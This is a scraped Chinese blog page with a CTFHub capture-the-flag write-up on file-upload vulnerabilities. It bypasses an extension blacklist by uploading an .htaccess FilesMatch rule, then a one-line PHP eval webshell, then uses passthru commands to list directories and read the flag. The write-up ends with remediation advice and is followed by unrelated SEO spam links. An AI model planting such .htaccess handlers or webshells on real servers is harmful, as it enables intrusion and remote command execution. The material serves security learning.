当前位置: 首页 > news >正文

成都网站建设 冠辰备案网站名称注意事项

成都网站建设 冠辰,备案网站名称注意事项,微信里的商家链接网站怎么做的,网络优化工程师工作内容0x00 前言 CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。 0x01 题目描述…

0x00 前言

        CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

        

        

0x01 题目描述

.htaccess:

        htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

网页显示内容

        

        

0x02 解题过程

0x1 方法一: 使用蚁剑连接 

分析网页源代码,代码中使用了两个常量 UPLOAD_PATH 。和 UPLOAD_URL_PATH ,但是没有给出这两个常量的值。一般地,程序员通常会使用这些常量来控制上传文件的目录路径或者 URL 路径。在代码的白名单中没有对 .htaccess 文件做限制。但是在检查源代码中发现没有对此文件添加到白名单中。

<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>CTFHub 文件上传 - htaccess</title>
</head>
<body><h1>CTFHub 文件上传 - htaccess</h1><form action="" method="post" enctype="multipart/form-data"><label for="file">Filename:</label><input type="file" name="file" id="file" /><br /><input type="submit" name="submit" value="Submit" /></form>
</body>
</html>
<!--
if (!empty($_POST['submit'])) {$name = basename($_FILES['file']['name']);$ext = pathinfo($name)['extension'];$blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");if (!in_array($ext, $blacklist)) {if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {echo "<script>alert('上传成功')</script>";echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;} else {echo "<script>alert('上传失败')</script>";}} else {echo "<script>alert('文件类型不匹配')</script>";}
}
-->

        

使用 FilesMatch 命令生成一个.htaccess 文件进行上传,绕过白名单中的漏洞。

<!-- payload表示之后需要通过FilesMatch命令进行匹配的文件名称,也就是之后需要上传的一句话木马 -->
<FilesMatch "payload">SetHandler application/x-httpd-php
</FilesMatch>

        

上传一句话木马,文件名为 payload ,这里不需要后缀名,因为要和 FilesMatch 命令指定的文件名称相匹配。

<?php eval($_POST['shell']); ?>

        

使用蚁剑添加并连接

        

检查网页文件发现此题flag

         

        

0x2 方法二: 执行外部命令 

方法一中已经分析过源代码,那么执行外部命令还是需要先使用 FilesMatch 命令生成一个.htaccess 文件进行上传。

         

使用 passthru 执行外部指令,查看文件夹 var 中是否存在关于此题的 flag

<?php 
passthru("ls /var/");
?>

        

URL 中访问 payload 文件夹的路径

        

一般网页文件夹都存放在 www 文件夹中,这里检查 www 文件,需要再次上传 payload 文件夹才可以查看。

<?php 
passthru("ls /var/www/");
?>

        

查看 html 文件夹中是否有此题 flag ,这里看到有一个关于flag的php文件

<?php 
passthru("ls /var/www/html/");
?>

        

检查此文件,注意网页中是不显示注释代码的,需要检查源代码查看。

<?php 
passthru("cat /var/www/html/flag_828011517.php");
?>

        

        

0x03 修复建议

[1].给上传文件设置上传路径,对代码中的 UPLOAD_PATH 和 UPLOAD_URL_PATH 进行定义。

[2].限制允许上传的文件类型和大小。可以通过后缀名、MIME类型、文件头等多种方式对文件类型进行限制,同时可以设置上传文件大小的最大值。

[3].确保上传文件的存储路径安全,不要将上传的文件存储到Web根目录下或者其他可被访问的目录中

[4].对上传文件的访问权限进行控制,只允许有必要权限的用户或者应用程序访问上传的文件。

        

        

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

http://www.laogonggong.com/news/79987.html

相关文章:

  • 自己建网站免费网络营销的未来发展趋势
  • 微信能否做门户网站wordpress 手机浏览器
  • 用jquery做的网站西安观止软件科技有限公司
  • 做网站什么用花蝴蝶高清免费看片大全
  • 做网站怎么做呀wordpress怎么给产品编号
  • 济南seo网站推广陕西网站建设费用
  • 商城网站系比较知名的企业
  • 注册免费网站区域名创业怎么做网站
  • 医疗网站前置审批取消建设电子商务网站的规划书
  • asp网站开发参考文献网站价格评估 优帮云
  • wordpress 主题采集六安网站关键词排名优化报价
  • 怎么申请pc网站域名php自助建站程序
  • 青岛一品网站建设网站整合建设方案
  • 小米网站推广方案cms网站建设的实训总结
  • 誉重网站建设公司自己怎么做网站链接
  • 网站建设和管理东方cj网上购物商城
  • 美食网站首页模板生成短链接
  • 网站建设seoppt昆明网站优化工具
  • 建设网站的公司济南兴田德润o简介图片优化seo是什么意思
  • 电竞网站开发需求报告wordpress恢复数据库文件
  • 杭州网站建设第一品牌wordpress中用户注册
  • 广州市律师网站建设公司海阳网站制作
  • 做网络营销如何建立自己的网站网站建设内容保障工作个人总结
  • 网站添加漂浮二维码怎么做百度营销后台
  • 追波设计网站官网品牌营销策划案例ppt
  • 宁波鄞州网站建设沈阳关键词seo
  • 网站开发美工seo网站推广软件
  • 网站备案是先做网站还是做完了备案孟村建设局网站
  • 做任务兼职赚钱的网站有哪些35互联网站建设怎么样
  • 屯留做网站哪里好如何设计网站的首页